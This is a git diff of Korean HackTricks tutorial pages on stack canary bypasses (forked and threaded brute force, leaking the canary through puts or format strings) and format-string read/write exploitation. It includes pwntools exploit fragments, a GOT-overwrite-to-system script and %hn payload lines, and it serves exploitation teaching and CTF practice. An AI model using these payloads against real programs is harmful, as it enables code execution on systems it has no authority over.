|
||||
**canary**는 `/dev/urandom`에서 파생된 무작위 숫자이거나 기본값인 `0xff0a0000`입니다. 이는 **TLS (Thread Local Storage)**에 저장되어 스레드 간에 공유 메모리 공간을 허용하여 스레드별 전역 또는 정적 변수를 가질 수 있습니다. 이러한 변수들은 초기에 부모 프로세스에서 복사되며, 자식 프로세스는 데이터를 변경할 수 있습니다. 그러나 **새로운 canary를 생성하지 않고 `fork()`를 사용하면 모든 프로세스(부모 및 자식)가 동일한 canary를 공유**하므로 취약해집니다. **i386** 아키텍처에서 canary는 `gs:0x14`에 저장되고, **x86\_64**에서는 `fs:0x28`에 저장됩니다.
|
||||
|
||||
이 로컬 보호는 공격에 취약한 버퍼를 가진 함수를 식별하고 이러한 함수의 시작 부분에 코드를 삽입하여 카나리를 배치하고 무결성을 확인하는 방식으로 작동합니다.
|
||||
이 로컬 보호는 공격에 취약한 버퍼를 가진 함수를 식별하고 이러한 함수의 시작 부분에 canary를 배치하고 끝에 무결성을 확인하기 위해 코드를 삽입합니다.
|
||||
|
||||
웹 서버가 `fork()`를 사용하는 경우, 카나리를 한 바이트씩 추측하는 브루트 포스 공격을 활성화할 수 있습니다. 그러나 `fork()` 후 `execve()`를 사용하면 메모리 공간이 덮어쓰여 공격이 무효화됩니다. `vfork()`는 쓰기 시까지 자식 프로세스가 복제 없이 실행되도록 하며, 쓰기를 시도하면 복제가 생성되어 프로세스 생성 및 메모리 처리에 대한 다른 접근 방식을 제공합니다.
|
||||
웹 서버가 `fork()`를 사용하면 canary를 한 바이트씩 추측할 수 있는 브루트 포스 공격을 활성화합니다. 그러나 `fork()` 후 `execve()`를 사용하면 메모리 공간이 덮어쓰여 공격이 무효화됩니다. `vfork()`는 자식 프로세스가 쓰기를 시도할 때까지 중복을 생성하지 않고 실행할 수 있도록 하며, 프로세스 생성 및 메모리 처리에 대한 다른 접근 방식을 제공합니다.
|
||||
|
||||
### 길이
|
||||
|
||||
`x64` 바이너리에서 canary 쿠키는 **`0x8`** 바이트 크기의 qword입니다. **첫 일곱 바이트는 무작위**이며 마지막 바이트는 **null 바이트**입니다.
|
||||
|
||||
`x86` 바이너리에서 canary 쿠키는 **`0x4`** 바이트 크기의 dword입니다. **첫 세 바이트는 무작위**이며 마지막 바이트는 **null 바이트**입니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
두 canary의 가장 낮은 유효 바이트는 null 바이트이며, 낮은 주소에서 스택으로부터 오기 때문에 **문자열을 읽는 함수는 그것을 읽기 전에 중지**합니다.
|
||||
{% endhint %}
|
||||
|
||||
## 우회
|
||||
|
||||
**카나리를 유출**하고 그 값을 덮어쓰기(예: 버퍼 오버플로우)하는 방법.
|
||||
**Canary를 유출**하고 그 값을 덮어쓰기 (예: 버퍼 오버플로우).
|
||||
|
||||
* **자식 프로세스에서 카나리가 생성**된 경우 한 번에 한 바이트씩 **브루트 포스**할 수 있습니다:
|
||||
* **Canary가 자식 프로세스에서 forked**된 경우 한 번에 한 바이트씩 **브루트 포스**할 수 있습니다:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* 이진 파일에서 흥미로운 유출 취약점이 있는 경우 유출할 수 있습니다:
|
||||
* 이진 파일에서 **유출 또는 임의의 읽기 취약점**이 있는 경우 유출할 수 있습니다:
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **스택에 저장된 포인터 덮어쓰기**
|
||||
|
||||
스택이 스택 오버플로우에 취약하면 **문자열이나 함수 주소를 덮어쓸 수 있는 주소가 포함**될 수 있으며, 스택 canary에 도달하지 않고도 취약점을 악용할 수 있습니다. 확인하세요:
|
||||
|
||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,33 @@
|
|||
# BF 포크된 스택 카나리
|
||||
# BF Forked & Threaded Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
- **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**카나리와 PIE (Position Independent Executable)로 보호된 이진 파일을 직면하고 있다면 아마도 이를 우회해야 할 방법을 찾아야 할 것입니다.**
|
||||
**캐너리와 PIE (Position Independent Executable)로 보호된 이진 파일에 직면했다면 아마도 이를 우회해야 할 방법을 찾아야 합니다.**
|
||||
|
||||
![](<../../../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
**`checksec`**가 이진 파일이 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.\
|
||||
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우 이를 수동으로 알 수 있습니다.
|
||||
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우, 이를 수동으로 알아차릴 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## 브루트 포스 카나리
|
||||
## 브루트 포스 캐너리
|
||||
|
||||
간단한 카나리를 우회하는 가장 좋은 방법은 이진 파일이 **새로운 연결을 설정할 때마다 자식 프로세스를 생성하는 프로그램인 경우** (네트워크 서비스), **매번 연결할 때 동일한 카나리가 사용**될 것이기 때문입니다.
|
||||
간단한 캐너리를 우회하는 가장 좋은 방법은 이진 파일이 **새로운 연결을 설정할 때마다 자식 프로세스를 생성하는 프로그램인 경우** (네트워크 서비스), **매 연결 시 동일한 캐너리가 사용**된다는 것입니다.
|
||||
|
||||
그럼으로 카나리를 우회하는 가장 좋은 방법은 **문자별로 브루트 포스**하는 것이며, 추측한 카나리 바이트가 올바른지 확인하는 방법은 프로그램이 충돌했는지 또는 정상적인 흐름을 계속하는지 확인하는 것입니다. 이 예제에서는 **8바이트 카나리 (x64)**를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하는 방법을 보여줍니다. **서버가 응답을 보내는지 확인**하는 것입니다 (다른 상황에서는 **try/except**를 사용할 수도 있음):
|
||||
그럼, 캐너리를 우회하는 가장 좋은 방법은 **문자별로 브루트 포스**하는 것이며, 추측한 캐너리 바이트가 올바른지 확인하는 것은 프로그램이 충돌했는지 또는 정상적인 흐름을 계속하는지 확인하는 것입니다. 이 예제에서는 **8바이트 캐너리 (x64)**를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분합니다. 이를 **서버로부터 응답이 전송되는지 확인**하는 방법으로 수행됩니다 (다른 상황에서는 **try/except**를 사용할 수도 있음):
|
||||
|
||||
### 예제 1
|
||||
|
||||
|
@ -114,4 +114,11 @@ target = process('./feedme')
|
|||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## 스레드
|
||||
|
||||
동일한 프로세스의 스레드는 또한 **동일한 캐너리 토큰을 공유**하므로, 바이너리가 공격이 발생할 때마다 새로운 스레드를 생성한다면 캐너리를 **무차별 대입**할 수 있을 것입니다. 
|
||||
|
||||
## 다른 예제 및 참조
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64비트, PIE 없음, nx, BF 캐너리, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다.
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -18,17 +18,20 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
**스택 오버플로우 취약한 프로그램**이 **puts** 함수를 **스택 오버플로우의 일부를 가리키도록 실행**할 수 있는 상황을 상상해보세요. 공격자는 **캐너리의 첫 번째 바이트가 널 바이트**(`\x00`)이고 나머지 캐너리는 **랜덤** 바이트임을 알고 있습니다. 그럼 공격자는 **오버플로우를 생성하여 캐너리의 첫 번째 바이트만 남을 때까지 스택을 덮어씁니다**.
|
||||
|
||||
그런 다음, 공격자는 **페이로드 중간에 있는 puts 기능을 호출**하여 캐너리를 제외한 모든 캐너리를 출력합니다(첫 번째 널 바이트 제외).
|
||||
그런 다음, 공격자는 **페이로드 중간에 있는 puts 기능을 호출**하여 캐너리를 **모두 출력**할 수 있습니다(첫 번째 널 바이트를 제외).
|
||||
|
||||
이 정보를 통해 공격자는 캐너리를 알고(동일한 프로그램 세션에서) 새로운 공격을 만들어 보낼 수 있습니다.
|
||||
이 정보를 통해 공격자는 캐너리를 알고(동일한 프로그램 세션에서) 새로운 공격을 **작성하고 전송**할 수 있습니다.
|
||||
|
||||
물론, 이 전술은 공격자가 **페이로드 내용을 출력하여 캐너리를 유출**하고 그런 다음 **(동일한 프로그램 세션에서) 새로운 페이로드를 생성**하고 **실제 버퍼 오버플로우를 보낼 수 있어야 한다는** 제한이 있습니다.
|
||||
물론, 이 전술은 매우 **제한적**이며 공격자는 **페이로드 내용을 출력**하여 **캐너리를 유출**하고 그런 다음 **새로운 페이로드를 생성**하고(동일한 프로그램 세션에서) **실제 버퍼 오버플로우를 전송**할 수 있어야 합니다.
|
||||
|
||||
**CTF 예시:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
**CTF 예시:** 
|
||||
|
||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64비트, ASLR 활성화되어 있지만 PIE가 없는 경우, 캐너리의 0x00 바이트까지 오버플로우를 채우고 puts를 호출하여 누출합니다. 캐너리로부터 ROP 가젯을 생성하여 GOT에서 puts 주소를 누출하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 호출합니다.
|
||||
|
||||
## 임의 읽기
|
||||
|
||||
format **strings**에 의해 제공되는 임의 읽기로 캐너리를 누설할 수 있습니다. 다음 예제를 확인하세요: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) 및 다음에서 임의 메모리 주소를 읽기 위해 format strings를 남용하는 방법을 읽을 수 있습니다:
|
||||
형식 **문자열**에 의해 제공되는 임의 읽기로 캐너리를 누출할 수 있습니다. 다음 예제를 확인하세요: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) 및 다음에서 임의 메모리 주소를 읽기 위해 형식 문자열을 남용하는 방법을 읽을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -36,14 +39,14 @@ format **strings**에 의해 제공되는 임의 읽기로 캐너리를 누설
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 홍보**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으세요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**해주세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,7 +16,7 @@
|
|||
|
||||
C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체할 값**입니다.
|
||||
|
||||
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용**하여 **모든 주소의 데이터를 읽고 쓸 수 있는 특수 입력을 만들어** 임의 코드를 실행할 수 있습니다.
|
||||
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용**하여 **모든 주소의 데이터를 읽고 쓸 수 있는 특수 입력을 만들어** 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
#### 포맷터:
|
||||
```bash
|
||||
|
@ -30,7 +30,7 @@ C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수
|
|||
```
|
||||
**예시:**
|
||||
|
||||
* 취약한 예제:
|
||||
* 취약한 예시:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
|
@ -47,7 +47,7 @@ printf("%x %x %x", value); // Unexpected output: reads random values from the s
|
|||
```
|
||||
### **포인터 접근**
|
||||
|
||||
형식 **`%<n>$x`**, 여기서 `n`은 숫자로, printf에게 n번째 매개변수(스택에서)를 선택하도록 지시할 수 있습니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음을 수행할 수 있습니다:
|
||||
형식 **`%<n>$x`**, 여기서 `n`은 숫자이며, printf에게 n 번째 매개변수(스택에서)를 선택하도록 지시할 수 있습니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음을 수행할 수 있습니다:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
|
@ -57,9 +57,17 @@ printf("%x %x %x %x")
|
|||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
## 임의의 주소 읽기
|
||||
그리고 직접 네 번째를 읽으십시오.
|
||||
|
||||
현재 위치에서 n번째에 있는 주소를 가져와서 해당 주소부터 0x00을 발견할 때까지 문자열로 출력할 수 있도록 **`$n%s`** 포맷터를 사용할 수 있습니다. 따라서 이진 파일의 기본 주소가 **`0x8048000`**이고 사용자 입력이 스택의 4번째 위치에서 시작한다는 것을 알고 있다면 다음과 같이 이진 파일의 시작 부분을 출력할 수 있습니다:
|
||||
공격자가 `pr`**`intf` 매개변수를 제어한다는 점에 유의하십시오.** 이는 공격자의 입력이 `printf`가 호출될 때 스택에 있을 것을 의미하며, 이는 공격자가 스택에 특정 메모리 주소를 쓸 수 있다는 것을 의미합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 입력을 제어하는 공격자는 **임의의 주소를 스택에 추가하고 `printf`가 그 주소에 액세스하도록** 만들 수 있습니다. 다음 섹션에서 이 동작을 사용하는 방법에 대해 설명될 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
## **임의의 읽기**
|
||||
|
||||
포맷터 **`$n%s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져와 그 뒤를 따라가서 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 이진 파일의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작한다는 것을 알고 있다면, 다음과 같이 이진 파일의 시작 부분을 출력할 수 있습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -78,36 +86,36 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|||
|
||||
## **임의 쓰기**
|
||||
|
||||
포맷터 **`$<num>%n`**은 스택의 \<num> 매개변수에 **쓰여진 바이트 수**를 **지정된 주소**에 **쓰기**합니다. 공격자가 printf로 원하는만큼 문자를 쓸 수 있다면, **`$<num>%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있습니다.
|
||||
포맷터 **`$<num>%n`**은 스택의 \<num> 매개변수에 **쓰여진 바이트 수**를 **지정된 주소**에 **쓰게** 합니다. 공격자가 printf로 원하는 만큼 문자를 쓸 수 있다면, **`$<num>%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있습니다.
|
||||
|
||||
다행히도, 숫자 9999를 쓰기 위해서는 입력에 9999개의 "A"를 추가할 필요가 없습니다. 대신, **`%.<num-write>%<num>$n`** 포맷터를 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해서는 (이 주소를 한 번에 작성하는 데는 매우 큰 숫자이기 때문에) **`$n` 대신에 `$hn`**을 사용합니다. 이를 통해 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 최상위 2바이트와 최하위 바이트를 각각 한 번씩 수행합니다.
|
||||
그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해서는 (이는 한 번에 작성할 수 있는 매우 큰 숫자입니다), **`$n` 대신에 `$hn`을 사용**합니다. 이를 통해 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 최상위 2바이트와 최하위 바이트에 대해 두 번 수행됩니다.
|
||||
|
||||
따라서 이 취약점을 통해 **임의의 주소에 어떤 것이든 쓸 수 있습니다 (임의 쓰기).**
|
||||
따라서 이 취약점을 통해 **임의의 주소에 임의의 내용을 쓸 수 있습니다 (임의 쓰기).**
|
||||
|
||||
이 예에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 실행하는 기술을 남용할 수 있습니다:
|
||||
이 예에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 실행하는 기술을 악용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**사용자**로부터 **인수**를 **받는 함수**의 **주소**를 **`system`** **함수**로 **지정**할 것입니다.\
|
||||
언급한대로 주소를 작성하려면 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성한 다음 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**을 사용합니다.
|
||||
언급한대로 주소를 작성하려면 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성한 다음 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**이 사용됩니다.
|
||||
|
||||
* **HOB**는 주소의 상위 2바이트를 가리킵니다.
|
||||
* **LOB**는 주소의 하위 2바이트를 가리킵니다.
|
||||
|
||||
그런 다음, 형식 문자열이 작동하는 방식 때문에 \[HOB, LOB] 중 **작은 값을 먼저 작성**한 다음 다른 값을 작성해야 합니다.
|
||||
그런 다음, 형식 문자열이 작동하는 방식 때문에 먼저 \[HOB, LOB] 중 **더 작은 값을 작성**한 다음 다른 값을 작성해야 합니다.
|
||||
|
||||
만약 HOB < LOB이면\
|
||||
`[주소+2][주소]%.[HOB-8]x%[오프셋]\$hn%.[LOB-HOB]x%[오프셋+1]`
|
||||
`[주소+2][주소]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
만약 HOB > LOB이면\
|
||||
`[주소+2][주소]%.[LOB-8]x%[오프셋+1]\$hn%.[HOB-LOB]x%[오프셋]`
|
||||
`[주소+2][주소]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
|
@ -119,13 +127,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
|
||||
### Pwntools 템플릿
|
||||
|
||||
이 유형의 취약점을 위한 exploit을 준비하는 템플릿을 다음에서 찾을 수 있습니다:
|
||||
이러한 취약점을 이용한 exploit을 준비하기 위한 템플릿을 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 기본 예제를 찾을 수 있습니다:
|
||||
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)의 기본 예제에서:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -144,19 +152,13 @@ p.sendline('/bin/sh')
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
## 다른 예제 및 참고 자료
|
||||
## 기타 예제 및 참고 자료
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
